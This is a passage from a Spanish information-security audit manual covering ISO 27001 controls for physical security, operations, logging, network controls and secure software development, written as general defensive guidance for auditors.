Manual de Auditoria para no Auditores 11.1.2 Es función también de los vigilantes de seguridad privada la realización de controles físicos de entrada, como la identificación, la revisión de los objetos introducidos en la instalación tales como maletines, bolsos de viaje, ordenadores personales etc. Esto puede incluir el uso de escáneres para los objetos y el cacheo para las personas o el uso de raquetas para la detección de metales o porte de armas. 11.1.3 Seguridad en oficinas, despachos y recursos también es función de los vigilantes de seguridad privada, el comprobar de forma sistemática, el correcto funcionamiento de mecanismos de seguridad como por ejemplo el estado de las cerraduras de despachos, el funcionamiento de las cámaras que componen el CCTV y en caso de equipo grabación ,el correcto funcionamiento del mismo, el control de llaves y tarjetas de identificación de visitantes, las entradas y salidas de trabajadores internos / externos / visitas etc. 11.1.4 Protección contra las amenazas externas y ambientales bajo este epígrafe se recoge todo el equipamiento antiincendios, así como otro equipamiento como ejemplo los sistemas de aterramiento del edificio, la existencia y verificación del correcto funcionamiento de los equipos de generación eléctrica, etc. 11.1.5 Definición de las áreas seguras de la empresa y los trabajos que se pueden realizar en las mismas, sobre todo en los casos de sectores como defensa, aeroespacial y todas las relacionadas con biotecnología, que requieren el cumplimiento estricto de protocolos de bioseguridad. 11.1.6 Zonas de acceso público y áreas de carga y descarga, procedimientos relacionados con las visitas y con los trabajos, que se realizan en las zonas destinas a la carga y descarga de mercancías. 11.2 Seguridad de la Equipos el conjunto de ítems que comprende este bloque es prácticamente la especificación de la TIA 942 exceptuando los ítems que van desde el 11.2.5 al 11.2.9 que son responsabilidad del área TIC de forma conjunta con el área de Seguridad Física en lo relativo a la salida y entrada de equipos físicos de las instalaciones, los ítems 11.2.8 y 11.2.9 son responsabilidad del área TIC y en el caso del 11.2.9 es responsabilidad también del área de Recursos Humanos y del área Legal. Ahora entramos una de las secciones más extensas y complejas de evaluar desde el punto de vista de la Auditoria pues requiere hacer varios tipos de controles y por supuesto requiere un dominio profundo de todos y cada uno de los tipos de auditorías que vimos, así como gran destreza en el uso de la ISO 27037 relativa a la obtención de evidencia y cadena de custodia, con fines legales.

Página 111 de 430

Manual de Auditoria para no Auditores

Capítulo 15 Seguridad Operativa. ISO 20000 Dominio 12

12.1.1 La documentación es de suma importancia, que este organizada, actualizada y debidamente regulado su acceso, consulta y modificación. Los puntos 12.1.2,12.1.3 pertenecen a la ISO 20000:2011 pero se han de tener presente para garantizar sincronización entre el centro operativo y el centro de respaldo tanto para la capacidad de proceso como para la gestión de la capacidad de almacenamiento y comunicaciones. 12.1.4 Separación de entornos. Aunque pueda parecer una obviedad, esta para señalar la necesidad de entonos separados para desarrollo, para pruebas y de producción / explotación y deben ser independientes, entre sí, con el fin de garantizar la mínima interferencia, sobre todo en lo relativo a exposiciones a malware, virus, ataques de DDOs y Ramsomeware, entre todos ellos. 12.2 Controles contra el código malicioso, es muy importante tener un entorno completamente aislado, para poder probar y verificar el comportamiento de actualizaciones sospechosas, probar si un código fuente contiene rutinas o segmentos de funciones, no habituales, que permiten acceder a bases de datos o ficheros de datos del sistema que pueden comprometer de manera alarmante las funciones de seguridad relativas a la integridad, y confidencialidad comprometiendo la disponibilidad, sorteando las funciones habituales de registro de identificación y autentificación de los usuarios por el sistema. También es importante tener presente que los ataques vía código malicioso, puede acceder el sistema mediante periféricos de red, tales como impresoras, faxes y otros dispositivos así como sistemas auxiliares, que no son propiamente de informática de gestión y sobre los cuales de forma habitual, no se efectúa monitorización continua, esos dispositivos que configuran, la conocida IoT (Internet de las Cosas [Internet of Thinks]) donde se desarrolla gran cantidad de Página 112 de 430

Manual de Auditoria para no Auditores código malicioso, precisamente debidamente a la falta de monitorización y control, sobre actualizaciones.

12.3 Copias de Seguridad. Las copias de seguridad son relevantes por varias razones, que vamos a recordar ahora y que siempre debemos tener presente y en mente. 1.- Que estén gestionadas de forma correcta, esto es, están planificadas, sus soportes debidamente controlados, se restauran de forma periódica para comprobar su correcto funcionamiento, entonces podrán cumplir su objetivo básico que es para garantizar, reducir al máximo el tiempo de recuperación del sistema, limitado dicho tiempo, a los últimos datos, al sistema antes de la siguiente copia de seguridad. Por ello es muy importante planificar también el tipo de copia a automatizar por ejemplo las totales y las diferenciales / incrementales. 2.- Minimizan los daños por cambios en las configuraciones hardware y software, ante comportamientos no previsibles, aun proviniendo de fuentes fiables, por ejemplo, las últimas actualizaciones. Esto se conoce como líneas base. 3.- Permite recuperar las configuraciones previas de las aplicaciones, desarrolladas en la propia empresa, o hacer frente a comportamientos erráticos ante cambios introducidos en el sistema y que no pudieron ser probados, en el entorno de pruebas, por olvido o por la imposibilidad de replicar condiciones reales. 4.- Garantizan disponer siempre un soporte distinto del original, en cuanto al medio físico de las licencias de software adquirido, fuera de la instalación para en caso de desastre total o destrucción de importante volumen, recuperarla las mismas, sin tiempos de espera. Se deben tener varias políticas de copias de seguridad al menos referidas a los ámbitos señalados. Desarrollo y Pruebas, las de desarrollo deben efectuarse cuando los cambios introducidos en la aplicación afecten al núcleo o conexiones de este con aplicaciones específicas, que tienen obligaciones legales o tributarias, por ejemplo. También cuando afectan al software base utilizado por dicha aplicación, por ejemplo, sólo debería estar permitida una diferencia, de una versión entre la que se utiliza para explotación y la que se usa en desarrollo con el fin poder realizar análisis de vulnerabilidades cuasi correlativos en el tiempo. Se debe de disponer de copias de datos de prueba, a partir de los reales, que cubran todo el espectro de excepciones que la aplicación debe gestionar, además, de los datos generados para efectuar las pruebas. Los datos de prueba cuando se extraigan de datos reales deben criptografiarse, para que no puedan ser utilizados fuera del ámbito de la empresa, mediante aplicación de controles criptográficos en cumplimiento del Reglamento Europeo de Protección de Datos.

Página 113 de 430

Manual de Auditoria para no Auditores 12.4 Registros de Actividad y Supervisión (Monitorización). Aunque de forma habitual, los servidores suelen estar monitorizados, debido a la existencia de la función de seguridad física y lógica de la información, también es importante tener en cuenta, que es muy importante recordar la necesidad de no sólo hacerlo a nivel de servidores, sino también a nivel de clientes, dado que se pueden realizar grandes esfuerzos e inversiones en protegerse de los ataques externos, pero ¿Qué hay de los ataques internos, que incluso pueden ser mucho más destructivos que los externos al crear brechas de seguridad y puertas traseras?. Aunque las actividades de esta parte de la norma ISO-IEC 27001 están bajo un estricto control legal, como son la ley del secreto de las Telecomunicaciones, la LOPD sustituida en un futuro próximo por el RGEPD y por supuesto todo lo que quepa en las leyes de procedimiento laboral, es normal y habitual verificar que los trabajadores hacen correcto un uso de las tecnologías dispuestas por la empresa a su servicio, cumpliendo las políticas establecidas y aceptadas para poder realizar el desempeño encomendado vía relación contractual (contrato de trabajo), aunque la mayoría de la veces no se refleje en los contratos, este es un derecho tácito, es decir, no declarado de manera formal y habitual, de la empresa. Por tanto, todo el mundo es susceptible de ser monitorizado, tanto en uso de la Internet como de la Intranet. Por tanto, existen varios niveles de monitorización, siendo conveniente conocer su operación y su gestión y la aplicación que del análisis a posteriori de dichos datos, se realizar por parte de la empresa. 12.4.1 Registro y gestión de eventos y actividad. - Todos los sistemas operativos, incorporan una gestión de eventos de actividad, que van desde las comunicaciones internas a nivel señal y lenguaje máquina, con todas y cada una las partes del propio ordenador, así como con las redes de datos sin distinción de sin son exteriores o interiores de la propia empresa. Por tanto, toda operación de intercambio de información entre dos partes sea cuales quieran que sean, genera una señal y por tanto debe quedar reflejada dicha actividad, otra cuestión es el significado que dicha actividad tienen en función del contexto y resultado, de la misma. Estas actividades se conocen como evento. Por ejemplo, los sistemas Clientes de Windows Server (Windows 7,8-8,1 y 10) tienen un sistema de eventos que los clasifica en las siguientes categorías: 1.- Eventos Aplicación. 2.- Eventos Seguridad. 3.- Eventos Instalación. 4.- Eventos Sistema. 5.- Eventos Reenviados. Además de los Servidores de Red y los Clientes conectados a ellos, hay otros elementos que utilizan la gestión de eventos, para desarrollar sus funciones, por ejemplo los Routers, los Switches de gama alta, los IPS / IDS, los sensores de movimiento, etc… dado que las señales y sus significados nos permiten establecer en muchos casos, relaciones de causa-efecto, es el trabajo que Página 114 de 430

Manual de Auditoria para no Auditores efectúan los motores de correlación, que utilizan en las herramientas SIEM, que tomando como base la frecuencia y al tipo de eventos de eventos que se presentan o acumulan en un intervalo de tiempo dado, pueden establecer las posibles causas de este efecto. 12.4.2 Protección de los registros de información. - Este tipo de información no debe estar accesible más que para un grupo de personas muy reducido, a las que otros grupo puede a su vez monitorizar y viceversa, por lo que los sistemas operativos utilizan funciones especiales para proteger los accesos a estos datos de hecho, por ejemplo se suelen almacenar en dispositivos que no se encuentran dentro de la misma red, o que se encuentran en la nube, donde sólo pueden acceder grupos muy reducidos de personas, ya que se requieren definiciones de permisos, que en la mayoría de la ocasiones necesitan varias autorizaciones de niveles ejecutivos de la empresa utilizadora de la nube o del servicio de hosting. 12.4.3 Registro de actividad de los Administradores y operadores del sistema. Como señalamos en el punto anterior los Administradores y los Operadores del Sistema, no dejan de ser recursos humanos de la organización, que desempeñan una función y es garantizar la operativa del negocio, para ello deben proporcionar y sostener la confidencialidad, integridad y disponibilidad de la información, a través de un vasto conjunto de medios técnicos. Por ello a la vista del Auditor son un recurso humano más cuya función se debe analizar, para garantizar la debida objetividad, los registros que reflejan la actividad de este grupo de profesionales, se separan del sistema donde se desarrollan y se almacenan en redes y dispositivos a los cuales, no tienen acceso, además de establecer marcas especiales llamadas hashes, para garantizar la integridad, confidencialidad y disponibilidad, más allá de quienes generan dicha información, esto es lo auditados en este caso particular. 12.4.4 Sincronización de Relojes (NTP) todo evento que sucede dentro de un sistema informático y telemático, ocurren en un determinado instante y por ello es necesario que todos los dispositivos, estén sincronizados con los husos horarios de una determinada zona. Por ello existe el protocolo NTP, utilizado por Routers que a su vez sincroniza relojes de Servidores, Switches, IPS / IDS y Clientes de la Red, ello nos permite establecer por ejemplo trazabilidad inversa en determinados tipos de eventos, a través incluso de zonas geográficas tan dispersas como pueda ser las antípodas respecto a un punto dado, por ello es importante monitorizar y verificar que los relojes de todo nuestros sistemas están sincronizados con el huso horario de la zona donde estamos efectuando la Auditoria. Según la Wikipedia se define el NTP de la siguiente manera: Network Time Protocol (NTP) es un protocolo de Internet para sincronizar los relojes de los sistemas informáticos a través del enrutamiento de paquetes en redes con latencia variable. NTP utiliza UDP como su capa de transporte, usando el puerto 123. Está diseñado para resistir los efectos de la latencia variable. Otra definición del mismo NTP por MentaData©® Sistemas de Información es la siguiente. NTP es un método común para sincronizar los relojes de sistemas informáticos en redes locales y globales. El concepto básico, versión 1 [Mills88], se publicó en 1988 como RFC (Request For Comments). Tras las experiencias obtenidas de su uso práctico en Internet le siguió la versión 2 [Mills89]. El paquete de Página 115 de 430

Manual de Auditoria para no Auditores software NTP es una implementación de la versión 3 [Mills90], descrito en el RFC-1305 de 1990. Está permitido utilizar, copiar, modificar y distribuir este software para cualquier propósito y de forma gratuita. El funcionamiento de NTP difiere básicamente de la mayoría de los otros protocolos. NTP no sincroniza todos los relojes conectados, establece una jerarquía de servidores de tiempo y clientes. Cada nivel de esta jerarquía se denomina estrato, y el Estrato 1 constituye el nivel más alto.

Los servidores de este nivel se sincronizan con una fuente de tiempo de referencia, como un reloj radio controlado, receptor de GPS o módem. Los servidores de Estrato 1 distribuyen el tiempo a distintos clientes de la red, que se denominan Estrato 2. Es posible una sincronización de alta precisión gracias a las distintas referencias de tiempo. Cada ordenador se sincroniza con hasta tres fuentes de tiempo fiables. NTP permite la comparación de las horas de la máquina y el ajuste del reloj. Puede alcanzarse una precisión de 128 ms, con frecuencia mayor que 50 ms. La importancia de este protocolo deriva de sus usos militares y civiles, todos ellos relacionados, con sistemas de posicionamiento y navegación, terrestre, marítima y área. 12.5 Control de instalación del software en el entorno de explotación. Es muy importante garantizar que la instalación de un nuevo software, dentro del entorno de explotación, no afectará de forma significativa a las aplicaciones existentes y operativas, ni supondrá mermas de rendimiento para el resto. Es muy importante Página 116 de 430

Manual de Auditoria para no Auditores verificar, que tanto la instalación, como la desinstalación, en caso de ser necesaria no obligara a efectuar más paradas diferentes de las previstas para el mantenimiento que tienen que estar planificadas, informadas para todos los usuarios y áreas de negocio afectadas, puedan a su vez planificar y adecuar sus ciclos de negocio, a las mismas. Tratando de manera especial en aquellas áreas de negocio de tipo non-stop o procesos continuos, suelen ser propias de infraestructuras críticas, procesos industriales de ahí la importancia de tener presente este ítem tanto para esta parte de control rutinario, como para la elaboración de los BCP/ DPR. Se suele por precaución tener un sistema redundante para poder conmutar en caso de presentarse problemas de disponibilidad. 12.6 Gestión de las vulnerabilidades técnicas. Puesto que las vulnerabilidades técnicas existen y es imposible erradicarlas, por la imposibilidad de replicar todos los escenarios y circunstancias, que deben concurrir, para poder reproducirlas es importante revisar una vez el inventario, que tenemos de la mismas, tanto para el hardware como el software. 12.6.1 Gestión de las vulnerabilidades técnicas. Insistimos una vez que tenemos un inventario clasificado de las mismas, debemos observar cuantas de ellas radican sobre grupos de aplicaciones a través de las redes internas y externas de la empresa, garantizando que se han tomado, todas las medidas posibles para su erradicación o su mitigación hasta un nivel de riesgo aceptable. 12.6.2 Restricciones en la instalación de Software. En función de lo que la dirección considere oportuno, de acuerdo con las actas del CSGSI se habrá definido, una serie de restricciones bajo las cuales, un software no se debe instalar por presentar niveles de riesgo inaceptable, por las repercusiones que, sobre la integridad, la confidencialidad y disponibilidad de la información puede presentar, tanto para sí misma, como para con el resto de las aplicaciones, que comparte de datos, o que se integra. 12.7 Controles sobre la Auditoria de Sistemas de Información. El auditor deberá de informar: que controles va a utilizar en función de los datos de los dispone de acuerdo con las amenazas y vulnerabilidades detectadas, además de los que tanto el Cliente como el Auditor están obligados por ley a demostrar su cumplimiento satisfactorio, por ejemplo, los medios de detección y extinción de incendios, los medios de video vigilancia y seguridad física (personal habilitado) y los medios de cobertura legal, por ejemplo, seguros y reaseguros.

Página 117 de 430

Manual de Auditoria para no Auditores

Capítulo 16 Seguridad en las Telecomunicaciones. ISO 27010 Dominio 13

Entramos en un espacio que tiene dos zonas bien delimitadas, la primera es absolutamente técnica y se inscribe en la Auditoria de Redes y por tanto es supervisión de la correcta aplicación de los estándares vigentes y disponible, así como aplicables de acuerdo con las leyes en cada momento, el segundo es un espacio legal donde la dirección técnica habrá de tener presente las restricciones legales vigentes para no incumplir ninguna ley. 13.1.1 Controles de Red. Aunque la norma no explicita, hay controles que se deben aplicar directamente tanto a los Firewall; como los IPS/IDS ya que mientras el Firewall monitorea y verifica tanto el tráfico saliente como entrante el IPS, no solo analiza el tráfico hasta la capa de red, cosa que hace el Firewall, sino que además tiene capacidades para analizarlo hasta la capa de aplicación. Debemos de tener presente que los IPS/IDS actúan como un segundo nivel de filtrado del tráfico y pueden analizar no sólo las amenazas externas, sino también las internas, por lo cual tendríamos todo el espectro cubierto, si bien es cierto que el análisis de tráfico interno supone una sobrecarga de la red, por lo cual hay que ser muy selectivo a la hora de fijar los criterios de qué tipo de tráfico se analiza y cual no será objeto de análisis dentro de la intranet. Es muy importante, verificar los siguientes parámetros, que vamos a señalar en forma de guía o de recordatorio. a) Ámbito físico. Verificar la disponibilidad y uso sistémico, de las barreras de acceso físico o de controles mediante el uso de personal de seguridad habilitado, para las salas donde radican los equipos de comunicaciones y proceso. Además, el personal de seguridad habilitado, para estas labores deberá verificar de forma sistemática con el área de Recursos Humanos y con el área de Legal quien/quienes tienen derecho de acceso a estas áreas seguras, tanto por parte de la empresa, como para parte de terceros tanto; personal externo acreditado, como visitantes. Es una buena política además de lo ya señalado que estas zonas seguras además de tener controlado el acceso estén video vigilada y que todos los equipos sensibles, estén securizados mediante alguna tecnología como RFI. Esto mismo, es Página 118 de 430

Manual de Auditoria para no Auditores válido, para los accesos a las zonas que contienen los equipos de soporte energético y climatización por razones obvias ya que también forman parte de los componentes de la seguridad física. Verificar que se han deshabilitado todos los puertos USB mediante la correspondiente función BIOS.

b) Configuración Lógica Hay que cambiar todas las contraseñas, que vienen por defecto o de fábrica, de cada uno de los equipos, en especial: Routers, Switches, Servidores y Cámaras de Seguridad que operan vía IP. Asignar contraseñas robustas más de ocho caracteres que incluyan símbolos especiales. No permitir contraseñas en blanco, verificar que tienen asignado un periodo de vida, no inferior a 30 días, ni mayor de 60 días. Que las sesiones tienen un periodo de vida latente determinado que una finalizado debe producir un logout obligando al usuario de nuevo a identificarse y autenticase, mejor si el método de autenticación es doble o triple frente al método simple. En la medida de posible no permitir el uso de sistemas OLTP o SSO, sino no se utiliza biometría múltiple. Verificar que sólo los Administradores y los Operadores de Consola, pueden acceder a partes de los Sistemas Operativos, que no están accesibles para los usuarios convencionales como, por ejemplo: Paneles de Control, Consolas de Comandos de Usuarios Privilegiados, etc… c) Verificación de la no disponibilidad de protocolos no seguros. Deben de estar deshabilitadas todas las funciones relacionadas con protocolos o servicios no seguros como por ejemplo TELNET, permitir sólo acceso a Internet de salida vía Proxys o a través de un proveedor de servicios. d) Verificar que tanto los Sistemas Operativos de Servidores y Clientes están fortalecidos. Ello supone un importante trabajo adicional, sobre la configuración tanto de servidores como de clientes en cuanto a instalación y mantenimiento, pero garantiza una mejor defensa, tanto contra las amenazas externas como internas, en especial los malware y sobre todos el Ramsomeware que presenta continuas variaciones. e) Verificar la imposibilidad de que los Usuarios realicen instalaciones de Software no autorizadas. Esto es importante tanto para el modo de navegación, como para el modo de uso del correo electrónico y sus adjuntos. f) Monitorizar el tamaño y volumen de las transacciones. Observar el volumen medio de transacciones por Usuario, así como todo lo relativo al tamaño de la cuota asignada de disco por Usuario. g) Monitorizar franjas de uso horario. Observar que el usuario se corresponde con los turnos asignados de trabajo y que no hay accesos Página 119 de 430

Manual de Auditoria para no Auditores fuera de los horarios establecidos o en días marcados como hábiles para este usuario. h) Monitorizar impresión. Aunque pueda parecer absurdo es muy importante controlar la información que se imprime y que se hace con la misma una vez impresa, cual deberá conservarse en formato físico por razones legales, cual es para trabajos internos y que se destruirá una vez finalizados, los mismos. Aquí es muy importante que, si se emplea una empresa de destrucción externa, aquellos documentos que contengan información sensible de cualquier nivel: estratégico, táctico operativo, sean destruidos dentro de la propia empresa. Para ello es muy conveniente, que la impresión de estos documentos no sea viable, más que en determinadas impresoras, y que se realice en papel de color distinto del blanco. Por ejemplo, es importante que además todos los consumibles como el revelador sean destruidos físicamente dentro de la propia empresa, haciendo inviable la recuperación de la misma. i) Destrucción de soportes magnéticos y ópticos. Todos los soportes deben ser destruidos mediante medios físicos, sí la empresa no cuenta con los medios para hacerlo, entonces se puede hacer, vía empresa externa, pero siempre se deberá aplicar los procedimientos seguros recomendados. Por ejemplo: formateo de bajo nivel para los discos duros y reescritura. j) Cambios o sustituciones de componentes de un equipo. Cuando se haya de producir sustituciones en componentes de equipo, se debe realizar una copia espejo, del disco duro, antes de enviarlo al servicio técnico, además de evitar la posible pérdida de datos para verificar a la vuelta que se trata del mismo equipo. Todos los elementos forman parte de los controles de Red y de los mecanismos de control asociados a la red. 13.1.3 Segregación de Redes. Hablamos no hace mucho de la conveniencia de separar los entornos de desarrollo, pruebas y explotación, bien aquí se verificará que todas las redes están debidamente segregadas y que los puntos contactos son los mínimos y están bajo una monitorización continua. 13.2 Intercambio de Información con partes externas. Lo primero hay que definir qué se entiende por partes externas y son los Clientes y los Proveedores de cualquier organización. Dado que no dispone siempre de la información necesaria y suficiente para garantizar unas comunicaciones seguras, más estando Internet por en medio, se requiere definir zonas intermedias donde mediante aplicaciones compartidas sea posible el intercambio de información de manera fiable, esto es, manteniendo la triada de la Integridad,

Página 120 de 430

Manual de Auditoria para no Auditores Confidencialidad y Disponibilidad y añadiendo algunos atributos adicionales. 13.2.1 Políticas y Procedimientos de Intercambio de Información. Aquí se definirán por ambas partes los otros atributos necesarios para poder desarrollar la propia gestión por ejemplo la información relativa a bancos, pedidos, facturas, especificaciones técnicas etc… dado que los nuevos atributos implican el uso en casi todos los casos estructuras compartidas y en muchos casos reguladas por ley. 13.2.2 Acuerdos de Intercambio. Es una cuestión legal, donde se definirá quien accede y bajo qué circunstancias a una infraestructura especifica como un determinado usuario con un determinado perfil y privilegios de acceso y uso. Se le permite realizar ciertas operaciones, por ejemplo: revisar facturas y pedidos, facturas y servicios, todos estos elementos deberían estar reflejados en los dos sistemas participantes de igual forma, además de verificar la relevancia, sirve también para verificar la calidad y accesibilidad además de garantizar la uniformidad simplificando las discrepancias posibles que podría haber sobre determinados aspectos de un producto o un proyecto. 13.2.3 Mensajería Electrónica. – Aquí se definirá quien / quienes tendrán acceso y uso de esta tecnología, así como se establecerá por ejemplo si se admite el uso temporal de la red corporativa del propio móvil de la persona. 13.2.4 Acuerdos de Confidencialidad y Secreto. Este es un tema que afecta por igual al área de Recursos Humanos y al área de asuntos legales, tanto para los recursos propios ;como para los ajenos, mientras exista una relación vinculante pudiendo ser: laboral / mercantil / por proyecto y obliga a todos los participantes a no revelar ninguna información, de cualquiera de las partes a un tercero, y eso incluye todo lo relativo a los accesos a infraestructuras tecnológicas de cualquier clase, tipo y ubicación ya sea física o lógica, por ejemplo en los casos más simples Usuario y Contraseña así como Dominio o punto de acceso ya sea vía Https / TLS / SSH por hablar de las situaciones más habituales, también se suele incluir la descarga de información integrante de proyectos.

Página 121 de 430

Manual de Auditoria para no Auditores

Capítulo 17 Adquisición, Desarrollo y Mantenimiento de los Sistemas de Información. Dominio 14

14 Adquisición, Desarrollo y Mantenimiento de los Sistemas de Información. Entramos en un grupo de controles que es interesante y complejos de abordar, con garantías de éxito, tanto por el cliente como por auditor, debido a la continua evolución que todas las herramientas y lenguajes de programación están sufriendo.

14.1.1 Análisis y especificación de los requisitos de seguridad. Esto implica dos niveles muy claros de especificaciones y que son que operaciones permitimos con los datos, según quien accede a los mismos, por un lado, contemplando las facilidades de seguridad de los Sistemas Operativos de Red y sus herramientas de gestión de perfiles o entidades. Y de otro implantar mecanismos de vuelta atrás, para mantener los tres atributos de la información en sus condiciones habituales. 14.1.2 Esto es un recordatorio para que todos los accesos, se hagan siempre bajo protocolos seguros, además de haber superado de forma satisfactoria los controles propios de la auditoria de redes a través de todos los elementos de seguridad, tanto para comunicaciones internas como externas vía red pública. 14.1.3 Protección de las transacciones por redes telemáticas. Se deben introducir mecanismos orientados a garantizar la integridad de los datos desde el origen hasta el destino final de los datos, las redes deben proporcionar seguridad como por ejemplo detectar si alguien inyecta paquetes de datos envenenados, si hay una sobredemanda de peticiones a un servidor de datos DDoS. 14.2 Seguridad en los procesos de desarrollo y soporte. 14.2.1 Política de Desarrollo Seguro. Es un documento que debe estar elaborado por el Director de Desarrollo y consensuado con el Director de Explotación con la supervisión del CISO (Director de Seguridad), sí existe esta figura, si no de Página 122 de 430

Manual de Auditoria para no Auditores forma alternativa deberá ser aprobado por el CSGSI. Es muy importante explicitar sin lugar a duda alguna que la documentación, incluyendo el código fuente, que se esté ejecutando en cada momento deben coincidir y que cualquier modificación debe quedar debidamente reflejada y justificada su aprobación. 14.2.2 Procedimientos de Control de cambios en los Sistemas (aplicaciones). Todo cambio debe ser reflejado y aprobado, mediante las correspondientes actas y tanto el personal de desarrollo interno y externo, así como el personal del área de explotación, deben tener no sólo conocimiento de los cambios aprobados, sino que deben tener previstos mecanismos de vuelta atrás una vez superadas las pruebas, ya que a veces las pruebas pueden no ser suficientemente ni extensas, ni profundas. 14.2.3 Revisión técnica en las aplicaciones tras cambios en los sistemas operativos. Este control está especialmente recomendado, por los continuos cambios, que se introducen en los sistemas operativos de los clientes, debido a que son los que están más expuestos a ataques de todo tipo, y porque evidentemente; es mucho más simple diseñar un ataque para un sistema operativo cliente, que no diseñar ese mismo ataque para un sistema operativo de red o servidor, e inocularlo en forma de actualización, recurriendo al phising para introducirlo como una actualización proveniente de la fuente original. 14.2.4 Restricciones a los cambios en paquetes de software. Es similar a la anterior, pero esto se aplica software comercial y utilidades, distinto de los sistemas operativos, dado que es más susceptible de ser modificado, aunque los ataques se articulan más a través del uso de macros y lenguajes de scripts incluidos en estas herramientas ofrecidos como complementos gratuitos. 14.2.5 Uso de los principios de protección de la ingeniería de sistemas. Consiste en la aplicación de una determinada metodología y sus herramientas asociadas conforme a un modelo, aunque para quien no esté familiarizado con esta disciplina compleja, que abarca dentro de sí varias, proponemos a manera de guía de tener presente las siguientes recomendaciones extraídas de http://www.welivesecurity.com/la-es/2014/02/28/10-principios-basicos-paradesarrollo-seguro/ y que son las que nos interesan en este momento y para este control en particular. 1. Partir siempre de un modelo de permisos mínimos, es mejor ir escalando privilegios por demanda de acuerdo con los perfiles establecidos en las etapas de diseño. 2. Si se utiliza un lenguaje que no sea compilado, asegurarse de limpiar el código que se pone en producción, para que no contenga rutinas de pruebas, comentarios o cualquier tipo de mecanismo que pueda dar lugar a un acceso indebido. 3. Nunca confiar en los datos que ingresan a la aplicación, todo debe ser verificado para garantizar que lo que está ingresando a los sistemas es lo esperado y además evitar inyecciones de código.

Página 123 de 430

Manual de Auditoria para no Auditores 4. Hacer un seguimiento de las tecnologías utilizadas para el desarrollo. Estas van evolucionando y cualquier mejora que se haga puede dejar obsoleta o inseguras versiones anteriores. 5. Todos los accesos que se hagan a los sistemas deben ser validados. 6. Para intercambiar información sensible utilizar protocolos para cifrar las comunicaciones, y en el caso de almacenamiento la información confidencial debería estar cifrada utilizando algoritmos fuertes y claves robustas. 7. Cualquier funcionalidad, campo, botón o menú nuevo debe agregarse de acuerdo con los requerimientos de diseño. De esta forma se evita tener porciones de código que resultan siendo innecesarias. 8. La información almacenada en dispositivos móviles debería ser la mínima, y más si se trata de contraseñas o datos de sesión. Este tipo de dispositivos son los más propensos a ser que se pierdan y por lo tanto su información puede ser expuestas más fácilmente. 9. Cualquier cambio que se haga debería quedar documentado, esto facilitará modificaciones futuras. 10. Poner más cuidado en los puntos más vulnerables, no hay que olvidar que el nivel máximo de seguridad viene dado por el punto más débil.

Teniendo presente estas recomendaciones y verificando su cumplimiento debería verse reducido el número de incidentes dentro de nuestro ámbito como empresa. 14.2.6 Seguridad en entornos de desarrollo. Básicamente tener en cuenta todas las excepciones que todos programas deben contemplar, verificando que las actualizaciones de las herramientas de software base y lenguajes de desarrollo incorporados, dentro de las herramientas o de lenguajes externos proceden de fuentes solventes no contienen código malicioso. Es muy importante disponer de herramientas de control de versiones y también de distribución de software, para garantizar una concordancia con trazabilidad inversa entre lo que está documentado como desarrollo, probado y verificado sus resultados antes de su paso al entorno de explotación y lo que se está ejecutando. 14.2.7 Externalización del Desarrollo Software. La externalización de Software es una solución, que requiere la implicación de varias áreas dentro de la empresa además del área de desarrollo propia. Esas áreas son el área legal que deberá en todo momento supervisar los contratos, en todas y cada una de sus distintas facetas, así por ejemplo ley de propiedad intelectual, el derecho de acceso y propiedad del código fuente, contratos de confidencialidad y deber de secreto de toda cuanta información le sea facilitada durante el, desarrollo, tanto la relativa a las infraestructuras físicas y lógicas de la empresa, como datos de clientes reales o simulados, para la realización de pruebas, etc.…Las otras partes que no son la parte legal, están obligadas a verificar, desde la perspectiva, en la que son Página 124 de 430

Manual de Auditoria para no Auditores competentes por definición, el cumplimiento de las cláusulas objeto del contrato e informar de cualquier irregularidad observada. No se considerará externalización de software, la adecuación de una aplicación al entorno de la organización que la adquiere, así como la carga de datos o traspaso de los mismos desde una fuente a otra. La externalización implica que se está creando un programa o un conjunto de estos que no cubre ninguna de las actuales aplicaciones o sistemas disponibles, y que sobrepasa la capacidad del área de desarrollo de la empresa de ahí su externalización, también por criterios tributarios. 14.2.8 Pruebas de funcionalidad durante el desarrollo de sistema. Una prueba funcional es una prueba basada en la ejecución, revisión y retroalimentación de las funcionalidades previamente diseñadas para el software. Las pruebas funcionales se hacen mediante el diseño de modelos de prueba que buscan evaluar cada una de las opciones con las que cuenta el paquete informático. Dicho de otro modo, son pruebas específicas, concretas y exhaustivas para probar y validar que el software hace lo que debe y, sobre todo, lo que se ha especificado. Existen los siguientes tipos de pruebas: Exploratorias, Regresión, de Compatibilidad, de Integración y por último de Aceptación ahora introducimos una descripción sinóptica de cada una de ellas. Exploratorias Son aquellas pruebas a través de las cuales, simultáneamente, se obtiene un aprendizaje y conocimiento de la aplicación a probar a la vez que se genera un valor desde el primer momento. Ayudan a la integración de la fase de pruebas de una forma mucho más rápida, pues permiten al testar elaborar un guion de pruebas que utilizará para el diseño de los futuros planes de pruebas. Estas pruebas son realmente útiles a la hora de probar aplicaciones ya desarrolladas, es decir, aquellas pruebas de software que no comienzan a la vez que el desarrollo. Para realizar las pruebas funcionales exploratorias se identificarán los distintos procesos de negocio o módulos de la aplicación y se le dará al testar libertad, poniéndose en la piel de un usuario, para probarlos. Estas pruebas exploratorias deberán ejecutarse sobre la última versión cerrada disponible de la aplicación.

Regresión El objetivo de las pruebas de regresión es eliminar el efecto onda, es decir, comprobar que cambios realizados en el software no introducen un comportamiento no deseado o errores adicionales en otros módulos o partes no modificados. Las pruebas de regresión se deben llevar a cabo cada vez que se hace un cambio en el sistema, tanto para corregir un error como para realizar una mejora. No es suficiente probar sólo los componentes modificados o añadidos, o las funciones que en ellos se realizan, sino que también es necesario controlar que las modificaciones no produzcan efectos negativos sobre el mismo u otros componentes. Este tipo de pruebas tiene que garantizar que, tras un cambio en el software, al menos la funcionalidad más importante sigue funcionando. Para este tipo de pruebas lo ideal es automatizar los casos que validen que estas partes siguen funcionando, pues se ejecutarán de manera repetitiva a lo largo del ciclo de vida del software.

Compatibilidad Las pruebas de compatibilidad son pruebas funcionales realizadas en diferentes entornos como en cada navegador de internet, sistema operativo o dispositivo, para garantizar el correcto funcionamiento de la aplicación en todos los medios. El mismo software puede presentar errores dependiendo de dónde se ejecute: funcionales (botones y enlaces pueden dejar de funcionar, producen errores de sistema o simplemente no realizan la funcionalidad esperada), estéticos (pueden descuadrarse frames de la aplicación, no cargarse imágenes, desaparecer enlaces o botones y textos).

Página 125 de 430

